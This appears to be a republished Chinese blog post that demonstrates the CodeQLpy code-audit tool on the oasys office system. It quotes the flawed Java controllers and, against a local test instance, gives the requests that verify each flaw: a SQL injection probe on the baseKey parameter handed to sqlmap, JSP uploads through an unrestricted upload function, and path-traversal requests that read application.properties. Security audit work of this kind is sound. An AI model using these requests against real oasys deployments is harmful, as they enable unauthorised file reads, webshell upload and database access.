推荐一个CodeQL代码审计工具 CodeQLpy
CodeQLpy是一款基于CodeQL实现的自动化代码审计工具
CodeQLpy用于自动化分析常见WEB应用漏洞,包括但不限于SQL注入、XSS、命令执行、任意文件操作、XXE、SSRF、反序列化等。CodeQLpy不能用于挖掘反序列化利用链。
开源工具:CodeQLpy
https://github.com/webraybtl/CodeQLpy
CodeQLpy使用
本次使用oasys来实践效果
案例源码下载
https://gitee.com/aaluoxiang/oa_system
CodeQL安装
codeql-cli
下载已经编译好的codeql执行程序 https://github.com/github/codeql-cli-binaries/releases
将codeql配置环境变量
下载QL语言工具包,将ql放在 codeql-cli同一目录
CodeQLpy配置
修改config/config.ini文件,需要修改的配置项是qlpath和jdk8和jdk11,其他项目可保持默认。注意jdk的路径中有空格的话需要用双引号包裹。
接着运行CodeQLpy工具
codeql数据库初始化
python3 main.py -t C:UsersAnonymousDesktopoa_system
生成codeql数据库
codeql database create out/database/oa_system --language=java --source-root="C:UsersAnonymousDesktopoa_system" --command="C:PenetrationScanToolsScanBoxLeakScanCodeQLpyoutdecode/run.cmd" --overwrite
扫描数据库
python3 main.py -d outdatabaseoa_system
使用CodeQLpy扫描出来sql,文件操作类等漏洞
接下来一一验证漏洞是否存在
漏洞验证
sql注入
baseKey : String outAddress /oasys/controller/address/AddrController.java MyBatisMapperXmlSqlInjection
baseKey informListPaging oasys/controller/inform/InformController.java MyBatisMapperXmlSqlInjection
outtype outAddress oasys/controller/address/AddrController.java MyBatisMapperXmlSqlInjection
alph : String outAddress /oasys/controller/address/AddrController.java
MyBatisMapperXmlSqlInjection
上面是扫描出来漏洞的代码路径和漏洞名称
从mappers xml文件中,也是很明显存在漏洞 使用了${} 导致sql注入
AddrController.java
定位到 AddrController 中 outAddress方法
使用@RequestMapping注解,outAddress指定一个基本的请求路径outaddresspaging
/**
外部通讯录
* @return
*/
@RequestMapping("outaddresspaging")
public String outAddress(@RequestParam(value="pageNum",defaultValue="1") int page,Model model,
@RequestParam(value="baseKey",required=false) String baseKey,
@RequestParam(value="outtype",required=false) String outtype,
@RequestParam(value="alph",defaultValue="ALL") String alph,
@SessionAttribute("userId") Long userId
){
PageHelper.startPage(page, 10);
List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey);
List<Map<String, Object>> adds=addressService.fengzhaung(directors);
PageInfo<Map<String, Object>> pageinfo=new PageInfo<>(directors);
if(!StringUtils.isEmpty(outtype)){
model.addAttribute("outtype", outtype);
}
Pageable pa=new PageRequest(0, 10);
Page<User> userspage=uDao.findAll(pa);
List<User> users=userspage.getContent();
model.addAttribute("modalurl", "modalpaging");
model.addAttribute("modalpage", userspage);
model.addAttribute("users", users);
model.addAttribute("userId", userId);
model.addAttribute("baseKey", baseKey);
model.addAttribute("directors", adds);
model.addAttribute("page", pageinfo);
model.addAttribute("url", "outaddresspaging");
return "address/outaddrss";
}
找到代码功能点处外部通讯录
POST /outaddresspaging HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 27
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8088
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8088/addrmanage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=03A69F27EEB982FC6070A35EA28B41B8
Connection: close
alph=ALL&outtype=&baseKey=1
在baseKey=1' 加上单引号,从日志中看到sql报错了
直接放到sqlmap跑,
InformController.java baseKey
/**
* 通知列表的分页
*/
@RequestMapping("informlistpaging")
public String informListPaging(@RequestParam(value = "pageNum", defaultValue = "1") int page,
@RequestParam(value = "baseKey", required = false) String baseKey,
@RequestParam(value="type",required=false) Integer type,
@RequestParam(value="status",required=false) Integer status,
@RequestParam(value="time",required=false) Integer time,
@RequestParam(value="icon",required=false) String icon,
@SessionAttribute("userId") Long userId,
Model model,HttpServletRequest req){
System.out.println("baseKey:"+baseKey);
System.out.println("page:"+page);
setSomething(baseKey, type, status, time, icon, model);
PageHelper.startPage(page, 10);
List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
PageInfo<Map<String, Object>> pageinfo=new PageInfo<Map<String, Object>>(list);
List<Map<String, Object>> list2=informRelationService.setList(list);
for (Map<String, Object> map : list2) {
System.out.println(map);
}
model.addAttribute("url", "informlistpaging");
model.addAttribute("list", list2);
model.addAttribute("page", pageinfo);
return "inform/informlistpaging";
}
漏洞功能点
GET /informlistpaging?baseKey=1 HTTP/1.1
Host: 127.0.0.1:8088
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8088/infromlist
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=03A69F27EEB982FC6070A35EA28B41B8
Connection: close
文件上传
AddrController.java savaAddress
/**
* 保存外部联系人
* @throws IOException
* @throws IllegalStateException
*/
@RequestMapping("savaaddress")
public String savaAddress(@Valid Director director,DirectorUser directorUser,BindingResult br,@RequestParam("file")MultipartFile file,HttpSession session,
Model model,@SessionAttribute("userId") Long userId,HttpServletRequest req) throws PinyinException, IllegalStateException, IOException{
User user=uDao.findOne(userId);
ResultVO res = BindingResultVOUtil.hasErrors(br);
if (!ResultEnum.SUCCESS.getCode().equals(res.getCode())) {
System.out.println("输入信息有误!");
}else{
String pinyin=PinyinHelper.convertToPinyinString(director.getUserName(), "", PinyinFormat.WITHOUT_TONE);
director.setPinyin(pinyin);
director.setMyuser(user);
if(!StringUtils.isEmpty(session.getAttribute("did"))){
/*修改*/
Long did=Long.parseLong(session.getAttribute("did")+"");
Director di=addressDao.findOne(did);
director.setDirectorId(di.getDirectorId());
director.setAttachment(di.getAttachment());
DirectorUser dc=auDao.findByDirectorAndUser(director, user);
directorUser.setDirectorUserId(dc.getDirectorUserId());
session.removeAttribute("did");
}
//试一下
if(file.getSize()>0){
Attachment attaid=mservice.upload(file, user);
attaid.setModel("aoa_bursement");
Attachment att=AttDao.save(attaid);
/*Attachment att= (Attachment) fileServices.savefile(file, user, null, false);*/
director.setAttachment(att.getAttachmentId());
}
directorUser.setHandle(true);
directorUser.setDirector(director);
directorUser.setUser(user);
addressService.sava(director);
addressUserService.save(directorUser);
}
return "redirect:/addrmanage";
}
if(file.getSize()>0){
Attachment attaid=mservice.upload(file, user);
attaid.setModel("aoa_bursement");
Attachment att=AttDao.save(attaid);
/*Attachment att= (Attachment) fileServices.savefile(file, user, null, false);*/
director.setAttachment(att.getAttachmentId());
}
在AddrController.java类中,savaAddress
方法中使用了 MailServices.java的upload方法
/**
* 上传附件
* @throws IOException
* @throws IllegalStateException
*/
public Attachment upload(MultipartFile file,User mu) throws IllegalStateException, IOException{
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy/MM");
File root = new File(rootpath,simpleDateFormat.format(new Date()));
File savepath = new File(root,mu.getUserName());
if (!savepath.exists()) {
savepath.mkdirs();
}
String fileName=file.getOriginalFilename();
if(!StringUtil.isEmpty(fileName)){
String suffix=FilenameUtils.getExtension(fileName);
String newFileName = UUID.randomUUID().toString().toLowerCase()+"."+suffix;
File targetFile = new File(savepath,newFileName);
file.transferTo(targetFile);
Attachment attachment=new Attachment();
attachment.setAttachmentName(file.getOriginalFilename());
attachment.setAttachmentPath(targetFile.getAbsolutePath().replace("\", "/").replace(rootpath, ""));
attachment.setAttachmentShuffix(suffix);
attachment.setAttachmentSize(file.getSize());
attachment.setAttachmentType(file.getContentType());
attachment.setUploadTime(new Date());
attachment.setUserId(mu.getUserId()+"");
return attachment;
}
return null;
}
从代码中文件上传,没有做任何的限制,直接上传jsp文件
只要使用了 nservice.upload 方法的,都存在文件上传漏洞
FileServices.java
savefile方法中,也没有对上传的文件后缀进行限制,直接找到调用savefile位置
public Object savefile(MultipartFile file,User user,FilePath nowpath,boolean isfile) throws IllegalStateException, IOException{
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy/MM");
File root = new File(this.rootPath,simpleDateFormat.format(new Date()));
File savepath = new File(root,user.getUserName());
//System.out.println(savePath.getPath());
if (!savepath.exists()) {
savepath.mkdirs();
}
String shuffix = FilenameUtils.getExtension(file.getOriginalFilename());
log.info("shuffix:{}",shuffix);
String newFileName = UUID.randomUUID().toString().toLowerCase()+"."+shuffix;
File targetFile = new File(savepath,newFileName);
file.transferTo(targetFile);
if(isfile){
FileList filelist = new FileList();
String filename = file.getOriginalFilename();
filename = onlyname(filename,nowpath,shuffix,1,true);
filelist.setFileName(filename);
filelist.setFilePath(targetFile.getAbsolutePath().replace("\", "/").replace(this.rootPath, ""));
filelist.setFileShuffix(shuffix);
filelist.setSize(file.getSize());
filelist.setUploadTime(new Date());
filelist.setFpath(nowpath);
filelist.setContentType(file.getContentType());
filelist.setUser(user);
fldao.save(filelist);
return filelist;
}else{
Attachment attachment=new Attachment();
attachment.setAttachmentName(file.getOriginalFilename());
attachment.setAttachmentPath(targetFile.getAbsolutePath().replace("\", "/").replace(this.rootPath, ""));
attachment.setAttachmentShuffix(shuffix);
attachment.setAttachmentSize(file.getSize());
attachment.setAttachmentType(file.getContentType());
attachment.setUploadTime(new Date());
attachment.setUserId(user.getUserId()+"");
attachment.setModel("note");
AttDao.save(attachment);
return attachment;
}
}
FileController 中调用了savefile
/**
* 文件上传 controller方法
*/
@RequestMapping("fileupload")
public String uploadfile(@RequestParam("file") MultipartFile file, @RequestParam("pathid") Long pathid,
HttpSession session, Model model) throws IllegalStateException, IOException {
Long userid = Long.parseLong(session.getAttribute("userId") + "");
User user = udao.findOne(userid);
FilePath nowpath = fpdao.findOne(pathid);
// true 表示从文件使用上传
FileList uploadfile = (FileList) fs.savefile(file, user, nowpath, true);
System.out.println(uploadfile);
model.addAttribute("pathid", pathid);
return "forward:/filetest";
}
文件读取漏洞
getRequestURI(...) : String image /process/ProcedureController.java
getRequestURI(...) : String image /user/UserpanelController.java
ProcedureController
/**
* 图片预览
* @param response
* @param fileid
*/
@RequestMapping("show/**")
public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
throws IOException {
String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
String path = startpath.replace("/show", "");
File f = new File(rootpath, path);
System.out.println(f.getAbsolutePath());
ServletOutputStream sos = response.getOutputStream();
FileInputStream input = new FileInputStream(f.getPath());
byte[] data = new byte[(int) f.length()];
IOUtils.readFully(input, data);
// 将文件流输出到浏览器
IOUtils.write(data, sos);
input.close();
sos.close();
}
String path = startpath.replace("/show", "");
在获取文件路径时,会将/show替换为空,所以我们需要满足代码要求
/show/show../../application.properties
执行这时 代码会将/show替换为空,所以就变成了/show/../../application.properties
GET /show/show../../application.properties HTTP/1.1
Host: 127.0.0.1:8088
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1:8088/addrmanage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=03A69F27EEB982FC6070A35EA28B41B8
Connection: close
UserpanelController
跟ProcedureController show方法是一样的利用方法
@RequestMapping("image/**")
public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
throws Exception {
String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();
System.out.println(projectPath);
String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
String path = startpath.replace("/image", "");
File f = new File(rootpath, path);
ServletOutputStream sos = response.getOutputStream();
FileInputStream input = new FileInputStream(f.getPath());
byte[] data = new byte[(int) f.length()];
IOUtils.readFully(input, data);
// 将文件流输出到浏览器
IOUtils.write(data, sos);
input.close();
sos.close();
}
`
GET /image/image../../application.properties HTTP/1.1
Host: 127.0.0.1:8088
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1:8088/addrmanage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=03A69F27EEB982FC6070A35EA28B41B8
Connection: close
CodeQL使用感受
总的来说 CodeQL
代码审计工具,扫描sql注入,文件操作类效果还是可以的,扫描速度也不慢。
- END -
原文始发于微信公众号(安全逐梦人):CodeQLpy工具审计oasys
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论